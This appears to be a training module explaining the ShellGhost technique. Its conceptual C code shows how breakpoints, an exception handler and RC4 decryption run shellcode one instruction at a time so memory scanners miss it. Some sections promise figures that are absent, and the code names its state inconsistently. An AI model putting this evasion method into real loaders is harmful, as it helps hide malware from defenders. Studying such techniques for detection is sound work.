Module 4: The ShellGhost Concept

The complete single-instruction execution model — how INT3, VEH, shellcode mapping, SystemFunction032, and RW/RX toggling combine into invisible shellcode.

1. The One-Exception Cycle

ShellGhost's execution revolves around a one-exception cycle that repeats for every instruction in the shellcode. Each iteration involves exactly one exception (EXCEPTION_BREAKPOINT) and one VEH handler invocation that performs both re-encryption of the previous instruction and decryption of the current one:

2. Memory State at Each Phase

To make this concrete, let us trace the memory state through two iterations of the cycle. Assume the shellcode starts at address 0x1000. The first instruction is 0x48 0x89 0xE5 (mov rbp, rsp, 3 bytes) and the second is 0x48 0x83 0xEC 0x20 (sub rsp, 0x20, 4 bytes):

3. The Handler Logic

ShellGhost's VEH handler performs all work within a single EXCEPTION_BREAKPOINT handler. Each invocation does both re-encryption and decryption:

C// Conceptual handler logic
LONG CALLBACK GhostHandler(PEXCEPTION_POINTERS ep) {
    DWORD code = ep->ExceptionRecord->ExceptionCode;
    PCONTEXT ctx = ep->ContextRecord;

    if (code == EXCEPTION_BREAKPOINT) {
        // Rip already points to the 0xCC (kernel adjusted it)
        PBYTE current = (PBYTE)ctx->Rip;

        // Validate: is this in our execution buffer?
        if (!IsInExecBuffer(current))
            return EXCEPTION_CONTINUE_SEARCH;

        // Step 1: Re-encrypt the PREVIOUS instruction (if any)
        //   - Toggle to RW via VirtualProtect
        //   - Write 0xCC back over previous instruction bytes
        if (g_ctx.prev_index >= 0) {
            ReEncryptPrevious();
        }

        // Step 2: Decrypt the CURRENT instruction
        //   - Look up CRYPT_BYTES_QUOTA for current instruction index
        //   - Use SystemFunction032 to decrypt instruction bytes
        //   - Write decrypted bytes to execution buffer
        DecryptCurrent(g_ctx.current_index);

        // Step 3: Toggle memory to RX for execution
        VirtualProtect(page, size, PAGE_EXECUTE_READ, &old);

        // Step 4: Advance instruction index
        g_ctx.prev_index = g_ctx.current_index;
        g_ctx.current_index++;

        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // Not our exception
    return EXCEPTION_CONTINUE_SEARCH;
}

4. The Data Structures

ShellGhost needs to maintain several pieces of state across handler invocations. These are typically stored in global variables accessible to the VEH handler:

C// Key data structure: per-instruction encryption mapping
// Generated by ShellGhost_mapping.py preprocessing script
typedef struct _CRYPT_BYTES_QUOTA {
    DWORD rva;      // Offset of this instruction within the shellcode
    DWORD quota;    // Number of bytes in this instruction
} CRYPT_BYTES_QUOTA;

// Example: first 3 instructions mapped by the preprocessing script
// CRYPT_BYTES_QUOTA map[] = {
//     { 0x0000, 3 },  // mov rbp, rsp      (3 bytes at offset 0)
//     { 0x0003, 4 },  // sub rsp, 0x20     (4 bytes at offset 3)
//     { 0x0007, 2 },  // xor ecx, ecx      (2 bytes at offset 7)
//     ...
// };

// Global state for the ShellGhost handler
typedef struct _GHOST_CONTEXT {
    LPVOID  exec_buffer;       // Base address of the 0xCC-filled RW region
    SIZE_T  exec_size;         // Size of the execution buffer
    PBYTE   encrypted_sc;      // Per-instruction encrypted shellcode bytes
    SIZE_T  sc_size;           // Size of the shellcode

    // Instruction mapping (from preprocessing)
    CRYPT_BYTES_QUOTA *map;    // Array of per-instruction RVA + byte count
    DWORD   num_instructions;  // Total number of mapped instructions
    DWORD   current_index;     // Index of current instruction being executed

    // RC4 key for SystemFunction032
    BYTE    rc4_key[16];       // RC4 encryption key
    SIZE_T  key_len;           // Key length

    // Tracking state
    INT     prev_index;        // Index of previously executed instruction (-1 if none)
} GHOST_CONTEXT;

static GHOST_CONTEXT g_ghost = { 0 };

5. Setup and Initialization

Before the execution cycle begins, ShellGhost performs these initialization steps:

C// Note: In real ShellGhost, the preprocessing is done OFFLINE
// by ShellGhost_mapping.py. The encrypted data and CRYPT_BYTES_QUOTA
// arrays are compiled directly into the C source as static arrays.

void ShellGhostInit(
    PBYTE encrypted_sc,            // Pre-encrypted shellcode (from mapping.py)
    SIZE_T sc_size,
    CRYPT_BYTES_QUOTA *map,        // Instruction map (from mapping.py)
    DWORD num_instructions,
    PBYTE key, SIZE_T key_size
) {
    // Step 1: Store encrypted data and mapping references
    g_ghost.encrypted_sc = encrypted_sc;
    g_ghost.sc_size = sc_size;
    g_ghost.map = map;
    g_ghost.num_instructions = num_instructions;
    memcpy(g_ghost.rc4_key, key, key_size);
    g_ghost.key_len = key_size;
    g_ghost.prev_index = -1;
    g_ghost.current_index = 0;

    // Step 2: Allocate execution buffer filled with 0xCC (RW, not RWX)
    g_ghost.exec_buffer = VirtualAlloc(NULL, sc_size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memset(g_ghost.exec_buffer, 0xCC, sc_size);
    g_ghost.exec_size = sc_size;

    // Step 3: Register VEH handler
    AddVectoredExceptionHandler(1, GhostHandler);

    // Step 4: Create thread at end of .text segment
    // ResolveEndofTextSegment() finds null bytes to use as entry
    LPVOID entry = ResolveEndofTextSegment();
    HANDLE hThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)entry, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
}

6. Address Validation

A critical part of the handler is verifying that the exception originated from within the execution buffer. Without this check, the handler would incorrectly process breakpoints from other sources (debugger breakpoints, other code using INT3, etc.):

C// Check if the address is within our execution buffer
BOOL IsInExecBuffer(PVOID addr) {
    return (addr >= g_ghost.exec_buffer) &&
           (addr < (PBYTE)g_ghost.exec_buffer + g_ghost.exec_size);
}

LONG CALLBACK GhostHandler(PEXCEPTION_POINTERS ep) {
    PCONTEXT ctx = ep->ContextRecord;

    if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
        // For breakpoint: the kernel (KiDispatchException) already
        // decremented RIP by 1, so ContextRecord->Rip points directly
        // at the 0xCC byte. No manual adjustment needed.
        PVOID cc_addr = (PVOID)ctx->Rip;

        if (!IsInExecBuffer(cc_addr)) {
            return EXCEPTION_CONTINUE_SEARCH;  // Not ours
        }
        // ... handle our breakpoint
    }
    // ...
}

7. The Complete Conceptual Flow

Here is the entire ShellGhost execution flow from start to finish:

8. What a Memory Scanner Sees

At any point during execution, a memory scanner examining the execution buffer sees:

TextExecution buffer during ShellGhost operation:

Address     Content    Meaning
0x1000      CC         INT3 (already executed and re-encrypted)
0x1001      CC         INT3 (already executed and re-encrypted)
0x1002      CC         INT3 (already executed and re-encrypted)
0x1003      48         Decrypted instruction (currently executing)
0x1004      83         (part of current instruction)
0x1005      EC         (part of current instruction)
0x1006      20         (part of current instruction)
0x1007      CC         INT3 (not yet reached)
...         CC         INT3 (all remaining bytes)

At MOST one instruction is decrypted (~1-15 bytes).
Every other byte is 0xCC.
No shellcode signature. No recognizable pattern. No entropy anomaly.